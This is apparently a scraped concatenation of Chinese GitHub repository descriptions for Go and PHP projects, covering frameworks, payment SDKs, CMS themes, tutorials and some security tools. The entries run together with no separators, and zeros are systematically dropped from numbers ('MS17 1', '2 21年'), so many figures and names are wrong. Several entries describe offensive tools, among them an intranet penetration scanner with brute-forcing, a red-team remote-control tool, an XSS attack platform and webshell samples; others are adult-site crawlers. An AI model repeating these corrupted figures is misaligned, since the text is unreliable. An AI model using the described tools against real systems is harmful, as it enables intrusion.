Issue请提交到golang china gopl zh trojan多用户管理部署程序 支持web页面管理BookStack 基于MinDoc 使用Beego开发的在线文档管理系统 功能类似Gitbook和看云 weixin wechat 微信公众平台 微信企业号 微信商户平台 微信支付 go golang sdk 蓝眼云盘 Eyeblue Cloud Storage 语言高性能编程 Go 语言陷阱 Gotchas Traps 使用 XMind 记录 Linux 操作系统 网络 C Golang 以及数据库的一些设计cqhttp的golang实现 轻量 原生跨平台 mqant是一款基于Golang语言的简洁 高效 高性能的分布式微服务框架基于react node js go开发的微商城 含微信小程序 MM Wiki 一个轻量级的企业知识分享与团队协同软件 可用于快速构建企业 Wiki 和团队知识分享平台 部署方便 使用简单 帮助团队构建一个信息共享 文档管理的协作环境 Go 语言中文网 Golang中文社区 Go语言学习园地 源码基于 Gin 进行模块化设计的 API 框架 封装了常用功能 使用简单 致力于进行快速的业务研发 比如 支持 cors 跨域 jwt 签名验证 zap 日志收集 panic 异常捕获 trace 链路追踪 prometheus 监控指标 swagger 文档生成 viper 配置文件解析 gorm 数据库组件 gormgen 代码生成工具 graphql 查询语言 errno 统一定义错误码 gRPC 的使用 等等 syncd是一款开源的代码部署工具 它具有简单 高效 易用等特点 可以提高团队的工作效率 一款由 YSRC 开源的主机入侵检测系统golang面试题集合这是一个可以识别视频语音自动生成字幕SRT文件的开源 Windows GUI 软件工具 一款内网综合扫描工具 方便一键自动化 全方位漏扫扫描 是一个用于在两个redis之间同步数据的工具 满足用户非常灵活的同步 迁移需求 Overlord是哔哩哔哩基于Go语言编写的memcache和redis cluster的代理及集群管理功能 致力于提供自动化高可用的缓存服务解决方案 Stack RPC 中文示例 教程 资料 源码解读ICMP流量伪装转发工具Freedom是一个基于六边形架构的框架 可以支撑充血的领域模型范式 Go2编程指南 开源图书 重点讲解Go2新特性 以及Go1教程中较少涉及的特性语言高性能分词golang写的IM服务器 服务组件形式 结巴 中文分词的Golang版本xorm是一个简单而强大的Go语言ORM库 通过它可以使数据库操作非常简便 本库是基于原版xorm的定制增强版本 为xorm提供类似ibatis的配置文件及动态SQL支持 支持AcitveRecord操作一个 Go 语言实现的快速 稳定 内嵌的 k v 数据库 高性能表格数据导出器基于Golang的开源社区系统 版本网易云音乐ncm文件格式转换 go 实现的压测工具 ab locust Jmeter压测工具介绍 单台机器1 w连接压测实战 抓包截取项目中的数据库请求并解析成相应的语句 Go专家编程 Go语言快速入门 轻松进阶 <<自己动手写docker 源码Go 每日一库kunpeng是一个Golang编写的开源POC框架 库 以动态链接库的形式提供各种语言调用 通过此项目可快速开发漏洞检测类的系统 vue js element框架 golang beego框架 开发的运维发布系统 支持git jenkins版本发布 go ssh BT两种文件传输方式选择 支持部署前准备任务和部署后任务钩子函数 Go 从入门到实战 学习笔记 从零开始学 Go Gin 框架 基本语法包括 26 个Demo Gin 框架包括 Gin 自定义路由配置 Gin 使用 Logrus 进行日志记录 Gin 数据绑定和验证 Gin 自定义错误处理 Go gRPC Hello World 持续更新中 Go 学习之路 Go 开发者博客 Go 微信公众号 Go 学习资料 文档 书籍 视频 微信 WeChat 支付宝 AliPay 的Go版本SDK 极简 易用的聚合支付SDK Go by Example 通过例子学 GolangPPGo Job是一款可视化的 多人多权限的 一任务多机执行的定时任务管理系统 采用golang开发 安装方便 资源消耗少 支持大并发 可同时管理多台服务器上的定时任务 Golang实现的IP代理池是一款用Go语言开发的web应用框架 API特性类似于Tornado并且拥有比Tornado更好的性能 自己动手写Java虚拟机 随书源代码支付宝 AliPay SDK for Go 集成简单 功能完善 持续更新 支持公钥证书和普通公钥进行签名和验签 ARCHIVED Geph 迷霧通帮助你将本地端口暴露在外网 支持TCP UDP 当然也支持HTTP 深入Go并发编程研讨课无状态子域名爆破工具手机号码归属地信息库 手机号归属地查询 phone dat 最后更新 2 21年 6月 golang基于websocket单台机器支持百万连接分布式聊天 IM 系统基于mongodb oplog的集群复制工具 可以满足迁移和同步的需求 进一步实现灾备和多活功能 Gin Gorm开发Golang API快速开发脚手架简单可信赖的任务管理工具Go语言实例教程从入门到进阶 包括基础库使用 设计模式 面试易错点 工具类 对接第三方等授权框架简体中文翻译 自动抓取tg频道 订阅地址 公开互联网上的ss ssr vmess trojan节点信息 聚合去重后提供节点列表轻量级 go 业务框架 哪吒监控 一站式轻监控轻运维系统 支持系统状态 TCP Ping 监控报警 命令批量执行和计划任务 Go 语言官方教程中文版工程师知识管理系统 基于golang go语言 beego框架 每个行业都有自己的知识管理系统 engineercms旨在为土木工程师们打造一款适用的基于web的知识管理系统 它既可以用于管理个人的项目资料 也可以用于管理项目团队资料 它既可以运行于个人电脑 也可以放到服务器上 支持提取码分享文件 onlyoffice实时文档协作 直接在线编辑dwg文件 office文档 在线利用mindoc创作你的书籍 阅览PDF文件 通用的业务流程设置 手机端配套小程序 微信搜索“珠三角设代”或“青少儿书画”即可呼出小程序 边界打点后的自动化渗透工具一个集审核 执行 备份及生成回滚语句于一身的MySQL运维工具汉字转拼音 Go资源精选中文版 含中文图书大全 语言实现的 Redis 服务器和分布式集群 超全golang面试题合集 golang学习指南 golang知识图谱 入门成长路线 一份涵盖大部分golang程序员所需要掌握的核心知识 常用第三方库 mysql mq es redis等 机器学习库 算法库 游戏库 开源框架 自然语言处理nlp库 网络库 视频库 微服务框架 视频教程 音频音乐库 图形图片库 物联网库 地理位置信息 嵌入式脚本库 编译器库 数据库 金融库 电子邮件库 电子书籍 分词 数据结构 设计模式 去html tag标签等 go学习 go面试go语言扩展包 收集一些常用的操作函数 辅助更快的完成开发工作 并减少重复代码百灵快传 基于Go语言的高性能 手机电脑超大文件传输神器 局域网共享文件服务器 LAN large file transfer tool 一个基于云存储的网盘系统 用于自建私人网盘或企业网盘 go分布式服务器 基于内存mmo个人博客微信小程序服务端 SDK for Golang 控制台颜色渲染工具库 支持16色 256色 RGB色彩渲染输出 使用类似于 Print Sprintf 兼容并支持 Windows 环境的色彩渲染基于 IoC 的 Go 后端一站式开发框架 v2ray web manager 是一个v2ray的面板 也是一个集群的解决方案 同时增加了流量控制 账号管理 限速等功能 key admin panel web cluster 集群 proxyServerScan一款使用Golang开发的高并发网络扫描 服务探测工具 是http client领域的瑞士军刀 小巧 强大 犀利 具体用法可看文档 如使用迷惑或者API用得不爽都可提issuesTcpRoute TCP 层的路由器 对于 TCP 连接自动从多个线路 电信 联通 移动 多个域名解析结果中选择最优线路 Bifrost 面向生产环境的 MySQL 同步到Redis MongoDB ClickHouse MySQL等服务的异构中间件应用网关 提供快速 安全的应用交付 身份认证 WAF CC HTTPS以及ACME自动证书 A telegram bot for rss reader 一个支持应用内阅读的 Telegram RSS Bot RESTful API 文档生成工具 支持和 Ruby 等大部分语言 基于gin gorm开发的个人博客项目基于Go语言的国密SM2 SM3 SM4算法库 Golang 设计模式一个阿里云盘列表程序 一款小巧的基于Go构建的开发框架 可以快速构建API服务或者Web网站进行业务开发 遵循SOLID设计原则并发编程实战 第2版 Go 学习 Go 进阶 Go 实用工具类 Go kit Go Micro 微服务实践 Go 推送基于DDD的o2o的业务模型及基础 使用Golang gRPC Thrift实现Sharingan 写轮眼 是一个基于golang的流量录制回放工具 适合项目重构 回归测试等 百度云网盘爬虫基于beego的进销存系统 TeaWeb 可视化的Web代理服务 DEMO teaos cn 白帽子安全开发实战 配套代码抖音推荐 搜索页视频列表视频爬虫方案 基于app 虚拟机或真机 相关技术 golang adb一款甲方资产巡航扫描系统 系统定位是发现资产 进行端口爆破 帮助企业更快发现弱口令问题 主要功能包括 资产探测 端口爆破 定时任务 管理后台识别 报表展示提供微信终端版本 微信命令行版本聊天功能 微信机器人 ️ 互联网最全大厂技术分享PPT 持续更新中 各大技术交流会 活动资料汇总 如 QCon 全球运维技术大会 GDG 全球技术领导力峰会 大前端大会 架构师峰会 敏捷开发DevOps OpenResty Elastic 欢迎 PR Issues日本麻将助手 牌效 防守 记牌 支持雀魂 天凤 开源客服系统GO语言开发GO FLY 免费客服系统一个查询IP地理信息和CDN服务提供商的离线终端工具 是一个用于系统重构 系统迁移和系统分析的瑞士军刀 它可以分析代码中的测试坏味道 模块化分析 行数统计 分析调用与依赖 Git 分析以及自动化重构等 一个直播录制工具Mastering Go 第二版中文版来袭 渗透测试情报收集工具分布式定时任务调度平台高度模块化 遵循 KISS原则的区块链开发框架golang版本的hangout 希望能省些内存 使用了自己写的Kafka lib 虚 不过我们在生产环境已经使用近1年 kafka 版本从 9 1到2 都在使用 目前情况稳定 吞吐量在每天2 亿条以上 Go 语言 Web 应用开发系列教程 从新手到双手残废iris 框架的后台api项目简单好用的DDNS 自动更新域名解析到公网IP 支持阿里云 腾讯云dnspod Cloudflare 华为云 自己动手实现Lua 随书源代码php直播go直播 短视频 直播带货 仿比心 猎游 tt语音聊天 美女约玩 陪玩系统源码开黑 约玩源码 社区开源 云原生的多云和混合云融合平台 Jiajun的编程随想Golang语言社区 腾讯课堂 网易云课堂 字节教育课程PPT及代码基于GF Go Frame 的后台管理系统带你了解一下Golang的市场行情mysql表结构自动同步工具 目前只支持字段 索引的同步 分区等高级功能暂不支持 基于Kubernetes的PaaS平台流媒体NetFlix解锁检测脚本稳定分支2 9 X 版本已更新 由 Golang语言游戏服务器 维护 全球服游戏服务器及区域服框架 目前协议支持websocket KCP TCP及RPC 采用状态同步 帧同步内测 愿景 打造MMO多人竞技游戏框架 功能持续更新中 基于 Golang 类似知乎的私有部署问答应用 包含问答 评论 点赞 管理后台等功能全新的开源漏洞测试框架 实现poc在线编辑 运行 批量测试 使用文档 XAPI MANAGER 专业实用的开源接口管理平台 为程序开发者提供一个灵活 方便 快捷的API管理工具 让API管理变的更加清晰 明朗 如果你觉得xApi对你有用的话 别忘了给我们点个赞哦 qq协议的golang实现 移植于miraigo版本极简工作流引擎全平台Go开源内网渗透扫描器框架 Windows Linux Mac内网渗透 使用它可轻松一键批量探测C段 B段 A段存活主机 高危漏洞检测MS17 1 SmbGhost 远程执行SSH Winrm 密码爆破端口扫描服务识别PortScan指纹识别多网卡主机 端口扫描服务识别PortScan iikira BaiduPCS Go原版基础上集成了分享链接 秒传链接转存功能 e签宝安全团队积累十几年的安全经验 都将对外逐步开放 首开的Ehoney欺骗防御系统 该系统是基于云原生的欺骗防御系统 也是业界唯一开源的对标商业系统的产品 欺骗防御系统通过部署高交互高仿真蜜罐及流量代理转发 再结合自研密签及诱饵 将攻击者攻击引导到蜜罐中达到扰乱引导以及延迟攻击的效果 可以很大程度上保护业务的安全 护网必备良药漂亮的Go语言通用后台管理框架 包含计划任务 MySQL管理 Redis管理 FTP管理 SSH管理 服务器管理 Caddy配置 云存储管理等功能 微信支付 WeChat Pay SDK for Golang用于监控系统的日志采集agent 可无缝对接open falcon阿里巴巴mysql数据库binlog的增量订阅 消费组件 Canal 的 go 客户端 github com alibaba canal 用于比较2个redis数据是否一致 支持单节点 主从 集群版 以及多种proxy 支持同构以及异构对比 redis的版本支持2 x 5 x 使用go micro微服务实现的在线电影院订票系统后端一站式微服务框架 提供API web websocket RPC 任务调度 消息消费服务器红蓝对抗跨平台远控工具Interchain protocol 跨链协议简单易用 足够轻量 性能好的 Golang 库一个go echo vue 开发的快速 简洁 美观 前后端分离的个人博客系统 blog 也可方便二次开发为CMS 内容管理系统 和各种企业门户网站 正在更新权限管理 hauth项目 不是一个前端or后台框架 而是一个集成权限管理 菜单资源管理 域管理 角色管理 用户管理 组织架构管理 操作日志管理等等的快速开发平台. hauth是一个基础产品 在这个基础产品上 根据业务需求 快速的开发应用服务.账号 admin 密码 123456通用的数据验证与过滤库 使用简单 内置大部分常用验证 过滤器 支持自定义验证器 自定义消息 字段翻译 CTF AWD Attack with Defense 线下赛平台 AWD platform 欢迎 Star 蓝鲸智云容器管理平台 BlueKing Container Service 程序员如何优雅的挣零花钱 2 版 升级为小书了 一个 PHP 微信 SDKAV 电影管理系统 avmoo javbus javlibrary 爬虫 线上 AV 影片图书馆 AV 磁力链接数据库ThinkPHP Framework 十年匠心的高性能PHP框架 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 多语言多货币多入口的开源电商 B2C 商城 支持移动端vue app html5 微信小程序微店 微信小程序商城等可能是我用过的最优雅的 Alipay 和 WeChat 的支付 SDK 扩展包了 基于词库的中文转拼音优质解决方案 我用爬虫一天时间“偷了”知乎一百万用户 只为证明PHP是世界上最好的语言 所使用的程序微信 SDK for Laravel 基于 overtrue wechat开源在线教育点播系统 一款满足你的多种发送需求的短信发送组件 基于 Laravel 的后台系统构建工具 Laravel Admin 使用很少的代码快速构建一个功能完善的高颜值后台系统 内置丰富的后台常用组件 开箱即用 让开发者告别冗杂的HTML代码一个想帮你总结所有类型的上传漏洞的靶场优雅的渐进式PHP采集框架 Laravel 电商实战教程的项目代码Payment是php版本的支付聚合第三方sdk 集成了微信支付 支付宝支付 招商一网通支付 提供统一的调用接口 方便快速接入各种支付 查询 退款 转账能力 服务端接入支付功能 方便 快捷 SPF Swoole PHP Framework 世界第一款基于Swoole扩展的PHP框架 开发者是Swoole创始人 A Wonderful WordPress Theme 樱花庄的白猫博客主题图床 此项目已弃用 基于 ThinkPHP 基础开发平台 登录账号密码都是 admin PanDownload网页复刻版一个开源的网址导航网站项目 您可以拿来制作自己的网址导航 使用PHP Swoole实现的网页即时聊天工具 独角数卡 发卡 开源式站长自动化售货解决方案 高效 稳定 快速 卡密商城系统 高效安全的在线卡密商城 ️命令行模式开发框架ShopXO免费开源商城系统 国内领先企业级B2C免费开源电商系统 包含PC h5 微信小程序 支付宝小程序 百度小程序 头条 抖音小程序 QQ小程序 APP 多商户 遵循MIT开源协议发布 基于 ThinkPHP5 1框架研发Wizard是一款开源的文档管理工具 支持Markdown Swagger Table类型的文档 Swoole MySQL Proxy 一个基于 MySQL 协议 Swoole 开发的MySQL数据库连接池 学习资源整合Freenom域名自动续期一个好玩的Web安全 漏洞测试平台一个基于Yii2高级框架的快速开发应用引擎蓝天采集器是一款免费的数据采集发布爬虫软件 采用php mysql开发 可部署在云服务器 几乎能采集所有类型的网页 无缝对接各类CMS建站程序 免登录实时发布数据 全自动无需人工干预 是网页大数据采集软件中完全跨平台的云端爬虫系统免费开源的中文搜索引擎 采用 C C 编写 基于 xapian 和 scws 提供 PHP 的开发接口和丰富文档WDScanner平台目前实现了如下功能 分布式web漏洞扫描 客户管理 漏洞定期扫描 子域名枚举 端口扫描 网站爬虫 暗链检测 坏链检测 网站指纹搜集 专项漏洞检测 代理搜集及部署等功能 ️兰空图床图标工场 移动应用图标生成工具 一键生成所有尺寸的应用图标和启动图 Argon 一个轻盈 简洁的 WordPress 主题Typecho Fans插件作品目录PHP代码审计分段讲解一个结构清晰的 易于维护的 现代的PHP Markdown解析器百度贴吧云签到 在服务器上配置好就无需进行任何操作便可以实现贴吧的全自动签到 配合插件使用还可实现云灌水 点赞 封禁 删帖 审查等功能 注意 Gitee 原Git osc 仓库将不再维护 目前唯一指定的仓库为 Github 本项目没有官方交流群 如需交流可以直接使用Github的Discussions 没有商业版本 目前贴吧云签到由社区共同维护 不会停止更新 PR 通常在一天内处理 微信调试 API调试和AJAX的调试的工具 能将日志通过WebSocket输出到Chrome浏览器的console中 結巴 中文分詞 做最好的 PHP 中文分詞 中文斷詞組件EleTeam开源项目 电商全套解决方案之PHP版 Shop for PHP Yii2 一个类似京东 天猫 淘宝的商城 有对应的APP支持 由EleTeam团队维护 RhaPHP是微信第三方管理平台 微信公众号管理系统 支持多公众号管理 CRM会员管理 小程序开发 APP接口开发 几乎集合微信功能 简洁 快速上手 快速开发微信各种各样应用 简洁 好用 快速 项目开发快几倍 群 656868 一刻社区后端 API 源码 新 微信服务号 微信小程序 微信支付 支付宝支付苹果cms v1 maccms v1 麦克cms 开源cms 内容管理系统 视频分享程序 分集剧情程序 网址导航程序 文章程序 漫画程序 图片程序一个PHP文件搞定支付宝支付系列 包括电脑网站支付 手机网站支付 现金红包 消费红包 扫码支付 JSAPI支付 单笔转账到支付宝账户 交易结算 分账 分润 网页授权获取用户信息等restful api风格接口 APP接口 APP接口权限 oauth2 接口版本管理 接口鉴权基于企业微信的开源SCRM应用开发框架 引擎 也是一套通用的企业私域流量管理系统 API接口大全不断更新中 欢迎Fork和Star 1 一言 古诗句版 api 2 必应每日一图api 3 在线ip查询 4 m3u8视频在线解析api 5 随机生成二次元图片api 6 快递查询api 支持国内百家快递 7 flv视频在线解析api 8 抖音视频无水印解析api 9 一句话随机图片api 1 QQ用户信息获取api 11 哔哩哔哩封面图获取api 12 千图网58pic无水印解析下载api 13 喜马拉雅主播FM数据采集api 14 网易云音乐api 15 CCTV央视网视频解析api 16 微信运动刷步数api 17 皮皮搞笑 基于swoole的定时器程序 支持秒级处理群 656868 ️ Saber PHP异步协程HTTP客户端微信支付单文件版 一个PHP文件搞定微信支付系列 包括原生支付 扫码支付 H5支付 公众号支付 现金红包 企业付款到零钱等 新增V3版 一个还不错的图床工具 支持Mac Win Linux服务器 支持压缩后上传 添加图片或文字水印 多文件同时上传 同时上传到多个云 右击任意文件上传 快捷键上传剪贴板截图 Web版上传 支持作为Mweb Typora发布图片接口 作为PicGo ShareX uPic等的自定义图床 支持在服务器上部署作为图床接口 支持上传任意格式文件 可能是我用过的最优雅的 Alipay 和 WeChat 的 laravel 支付扩展包了上传大文件的Laravel扩展包开发内功修炼Laravel核心代码学习南京邮电大学开源 Online Judge QQ群 6681 8264 免费IP地址数据库 已支持IPV4 IPV6 结构化输出为国家 省 市 县 运营商 中文数据库 方便实用 laravel5 5和vue js结合的前后端分离项目模板 后端使用了laravel的LTS版本 5 5 前端使用了流行的vue element template项目 作为程序的起点 可以直接以此为基础来进行业务扩展 模板内容包括基础的用户管理和权限管理 日志管理 集成第三方登录 整合laravel echo server 实现了websocket 做到了消息的实时推送 并在此基础上 实现了聊天室和客服功能 权限管理包括后端Token认证和前端vue js的动态权限 解决了前后端完整分离的情况下 vue js的认证与权限相关的痛点 已在本人的多个项目中集成使用 Web安全之机器学习入门 网易云音乐升级APIPHP 集成支付 SDK 集成了支付宝 微信支付的支付接口和其它相关接口的操作 支持 php fpm 和 Swoole 所有框架通用 宇润PHP全家桶技术支持群 17916227MDClub 社区系统后端代码imi 是基于 Swoole 的 PHP 协程开发框架 它支持 Http2 WebSocket TCP UDP MQTT 等主流协议的服务开发 特别适合互联网微服务 即时通讯聊天im 物联网等场景 QQ群 17916227WordPress 版 WebStack 导航主题 nav iowen cnLive2D 看板娘插件 www fghrsh net post 123 html 上使用的后端 API简单搜索 一个简单的前端界面 用惯了各种导航首页 满屏幕尽是各种不厌其烦的广告和资讯 尝试自己写个自己的主页 国内各大CTF赛题及writeup整理收集自网络各处的 webshell 样本 用于测试 webshell 扫描器检测率 PHP微信SDK 微信平台 微信支付 码小六 GitHub 代码泄露监控系统PHP表单生成器 快速生成现代化的form表单 支持前后端分离 内置复选框 单选框 输入框 下拉选择框 省市区三级联动 时间选择 日期选择 颜色选择 文件 图片上传等17种常用组件 悟空CRM 基于TP5 vue ElementUI的前后端分离CRM系统V免签PHP版 完全开源免费的个人免签约解决方案Composer 全量镜像发布于2 17年3月 曾不间断运行2年多 这个开源有助于理解 Composer 镜像的工作原理一个多彩 轻松上手 体验完善 具有强大自定义功能的WordPress主题 基于Sakura主题全球免费代理IP库 高可用IP 精心筛选优质IP 2s必达LaraCMS 是在学习 laravel web 开发实战进阶 实战构架 API 服务器 过程中产生的一个业余作品 试图通过简单的方式 快速构建一套基本的企业站同时保留很灵活的扩展能力和优雅的代码方式 当然这些都得益Laravel的优秀设计 同时LaraCMS 也是一个学习Laravel 不错的参考示例 已停止维护 HookPHP基于C扩展搭建内置AI编程的架构系统 支持微服务部署 热插拔业务组件 集成业务模型 权限模型 UI组件库 多模板 多平台 多域名 多终端 多语言 含常驻内存 前后分离 API平台 LUA QQ群 67911638 中华人民共和国居民身份证 中华人民共和国港澳居民居住证以及中华人民共和国台湾居民居住证号码验证工具 PHP 版 最简单的91porn爬虫php版本Fend 是一款短小精悍 可在 FPM Swoole 服务容器平滑切换的高性能PHP框架 no evil 实现过滤敏感词汇 基于确定有穷自动机 DFA 算法 支持composer安装扩展Z BlogPHP博客程序IYUU自动辅种工具 目前能对国内大部分的PT站点自动辅种 支持下载器集群 支持多盘位 支持多下载目录 支持远程连接等 果酱小店 基于 Laravel swoole 小程序的开源电商系统 优雅与性能兼顾 這是一份純靠北工程師的專案 請好好愛護它 謝謝 EC ecjia 到家是一款可开展O2O业务的移动电商系统 它包含 移动端APP 采用原生模式开发 覆盖使用iOS 及Android系统的移 动终端 后台系统 针对平台日常运营维护的平台后台 针对入驻店铺管理的商家后台 独立并行 移动端H5 能够灵活部署于微信及其他APP 网页等 Material Design 指南的中文翻译 一个纯php分词 thinkphp5 1 layui 实现的带rbac的基础管理后台 方便快速开发法使用百度pcs上传脚本目前最全的前端开发面试题及答案樱花内网穿透网站源代码 2 2 重制版MeepoPS是Meepo PHP Socket的缩写 旨在提供稳定的Socket服务 可以轻松构建在线实时聊天 即时游戏 视频流媒体播放等 基础目录 聚合所有其他目录 包含文档和例子基于 Vue js 的简洁一般强大的 WordPress 单栏博客主题阿里云打造Laravel最好的OSS Storage扩展 网上在线商城 综合网上购物平台swoolefy是一个基于swoole实现的轻量级 高性能 协程级 开放性的API应用服务框架基于redis实现高可用 易拓展 接入方便 生产环境稳定运行的延迟队列 一款基于WordPress开发的高颜值的自适应主题 支持白天与黑夜模式 无刷新加载等 阿里云 OSS 官方 SDK 的 Composer 封装 支持任何 PHP 项目 包括 Laravel Symfony TinyLara 等等 此插件将你的WordPress接入本土生态体系之中 使之更适合国内应用环境PHP的服务化框架 适用于Api Server Rpc Server 帮助原生PHP项目转向微服务化 出色的性能与支持高并发的协程相结合基于ThinkPHP V6 开发的面向API的后台管理系统 PHP Swoole 开发的在线同步点歌台 支持自由点歌 切歌 调整排序 删除指定音乐以及基础权限分级信呼 免费开源的办公OA系统 包括APP pc上客户端 REIM即时通信 服务端等 让每个企业单位都有自己的办公系统 来客电商 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 注重界面美感与用户体验 打造独特电商系统生态圈哔哩哔哩 Bilibili B 站主站助手 直播助手 直播抽奖 挂机升级 贴心小棉袄脚本 Lv6 离你仅有一步之遥 PHP 版 Personal 一个运用php与swoole实现的统计监控系统短视频去水印 抖音 皮皮虾 火山 微视 微博 绿洲 最右 轻视频 快手 全民小视频 巴塞电影 陌陌 Before避风 开眼 Vue Vlog 小咖秀 皮皮搞笑 全民K歌 西瓜视频 中国农历 阴历 与阳历 公历 转换与查询工具AoiAWD 专为比赛设计 便携性好 低权限运行的EDR系统 项目管理系统后端接口ThinkPHP 队列支持Typecho Theme Aria 书写自己的篇章PHP 中文工具包 支持汉字转拼音 拼音分词 简繁互转 数字 金额大写 QQ群 17916227Yii2 community 请访问淘客5合一SDK 支持淘宝联盟 京东联盟 多多进宝 唯品会 苏宁基于 thinkphp 开发的的 blogMojito Admin 基于 Laravel Vue Element 构建的后台管理系统一个经典的XSS渗透管理平台一款基于 RageFrame2 的免费开源的基础销售功能的商城基于Laravel 5 4 的开发的博客系统 代号 myPersimmon证件照片排版在线生成器 在一张6寸的照片上排版多张证件照清华大学计算机学科推荐学术会议和期刊列表WordPress响应式免费主题 Art Blog唯品秀博客 weipxiu com 备用域名weipxiu cn 开源给小伙伴免费使用 如使用过程有任何问题 在线技术支持QQ 欢迎打扰 原创不易 如喜欢 请多多打赏 演示 EwoMail是基于Linux的企业邮箱服务器 集成了众多优秀稳定的组件 是一个快速部署 简单高效 多语言 安全稳定的邮件解决方案 笔记本新版简单强大的无数据库的图床2 版 演示地址 Bilibili B 站自动领瓜子 直播助手 直播挂机脚本 主站助手 PHP 版微信群二维码活码工具 生成微信群活码 随时可以切换二维码 短视频的PHP拓展包 集成各大短视频的去水印功能 抖音 快手 微视主流短视频 PHP去水印一个PHPer的升级之路酷瓜云课堂 在线教育 网课系统 网校系统 知识付费系统 不加密不阉割 1 %全功能开源 可免费商用 框架主要使用ThinkPHP6 layui 拥有完善的权限的管理模块以及敏捷的开发方式 让你开发起来更加的舒服 laravel5 5搭建的后台管理 和 api服务 的小程序商城基于ThinkPHP5 AdminLTE的后台管理系统魔改版本 为 OLAINDEX 添加多网盘挂载及一些小修复海豚PHP 基于ThinkPHP5 1 41LTS的快速开发框架挂载Teambition文件 可直链分享 支持网盘 需申请 和项目文件 无需邀请码 准确率99 9%的ip地址定位库laravel ant design vue 权限后台PHP 第三方登录授权 SDK 集成了QQ 微信 微博 Github等常用接口 支持 php fpm 和 Swoole 所有框架通用 QQ群 17916227抖音去水印PHP版接口一个分布式统计监控系统 包含PHP客户端 服务端整合多接口的IP查询工具 基于阿里云OSS的WordPress远程附件支持插件 后会有期 开箱即用的Laravel后台扩展 前后端分离 后端控制前端组件 无需编写vue即可创建一个的项目 丰富的表单 表格组件 强大的自定义组件功能 yii2 swoole 让yii2运行在swoole上胖鼠采集 WordPress优秀开源采集插件CatchAdmin是一款基于thinkphp6 和 element admin 开发的后台管理系统 基于 ServiceProvider 系统模块完全接耦 随时卸载安装模块 提供了完整的权限和数据权限等功能 大量内置的开发工具提升你的开发体验 官网地址 微信公众平台php版开发包微信小程序 校园小情书后台源码 好玩的表白墙 告白墙 功能全面的PHP命令行应用库 提供控制台参数解析 命令运行 颜色风格输出 用户信息交互 特殊格式信息显示基于 chinese poetry 数据整理的一份 mysql 格式数据帮助 thinkphp 5 开发者快速 轻松的构建Api hyperf admin 是基于 hyperf vue 的配置化后台开发工具 微信支付php 写的视频下载工具 现已支持 Youku Miaopai 腾讯 XVideos Pornhub 91porn 微博酷燃 bilibili 今日头条 芒果TVCorePress 主题 一款高性能 高颜值的WordPress主题快链电商 直播电商 分销商城 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 Laravel vue开发 成熟商用项目 shop mall 商城 电商 利用 PHP cURL 转发 Disqus API 请求可能是最优雅 简易的淘宝客SDKUniAdmin是一套渐进式模块化开源后台 采用前后端分离技术 数据交互采用json格式 功能低耦合高内聚 核心模块支持系统设置 权限管理 用户管理 菜单管理 API管理等功能 后期上线模块商城将打造类似composer npm的开放式插件市场 同时我们将打造一套兼容性的API标准 从ThinkPHP5 1 Vue2开始 逐步吸引爱好者共同加入 以覆盖等多语言框架 PHP 多接口获取快递物流信息包LightCMS 是一个基于 Laravel 开发的轻量级 CMS 系统 也可以作为一个通用的后台管理框架使用单点登录系统快乐二级域名分发系统Typecho Theme Story 爱上你我的故事 一个轻量化的留言板 记事本 社交系统 博客 人类的本质是 咕咕咕?微信域名拦截检测 QQ域名拦截检测 t xzkxb com 查询有缓存 如需实时查询请自行部署 高性能分布式并发锁 行为限流Emlog是一款基于PHP和MySQL的功能强大的博客及CMS建站系统 追求快速 稳定 简单 舒适的建站体验Hyperf admin 基于Hyperf Element UI 通用管理后台企业仓库管理系统HisiPHP V2版是基于ThinkPHP5 1和Layui开发的后台框架 承诺永久免费开源 您可用于学习和商用 但须保留版权信息正常显示 如果HisiPHP对您有帮助 您可以点击右上角 Star 支持一下哦 谢谢 使用PHP开发的简约导航 书签管理系统 软擎是基于 Php 7 2 和 Swoole 4 4 的高性能 简单易用的开发框架 支持同时在 Swoole Server 和 php fpm 两种模式下运行 内置了服务 集成了大量成熟的组件 可以用于构建高性能的Web系统 API 中间件 基础服务等等 个人发卡源码 发卡系统 二次元发卡系统 二次元发卡源码 发卡程序 动漫发卡 PHP发卡源码聊天应用 php实现的dht爬虫搭建的webim客服系统 即时通讯一些实用的python脚本同城拼车微信小程序后端代码 一个响应式干净和简洁优雅的 Typecho 主题php仓库进销存深度学习5 问 以问答形式对常用的概率知识 线性代数 机器学习 深度学习 计算机视觉等热点问题进行阐述 以帮助自己及有需要的读者 全书分为18个章节 5 余万字 由于水平有限 书中不妥之处恳请广大读者批评指正 未完待续 如有意合作 联系scutjy2 15 163 com 版权所有 违权必究 Tan 2 18 6题解 记录自己的leetcode解题之路 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 YApi 是一个可本地部署的 打通前后端及QA的 可视化的接口管理平台小程序组件化开发框架网易云音乐 Node js API service基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 book Node js 包教不包会 by alsotang收集所有区块链 BlockChain 技术开发相关资料 包括Fabric和Ethereum开发资料轻量 可靠的小程序 UI 组件库微信小程序商城 微信小程序微店一个可以观看国内主流视频平台所有视频的客户端可伸缩布局方案基于 node js Mongodb 构建的后台系统 js 源码解析磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 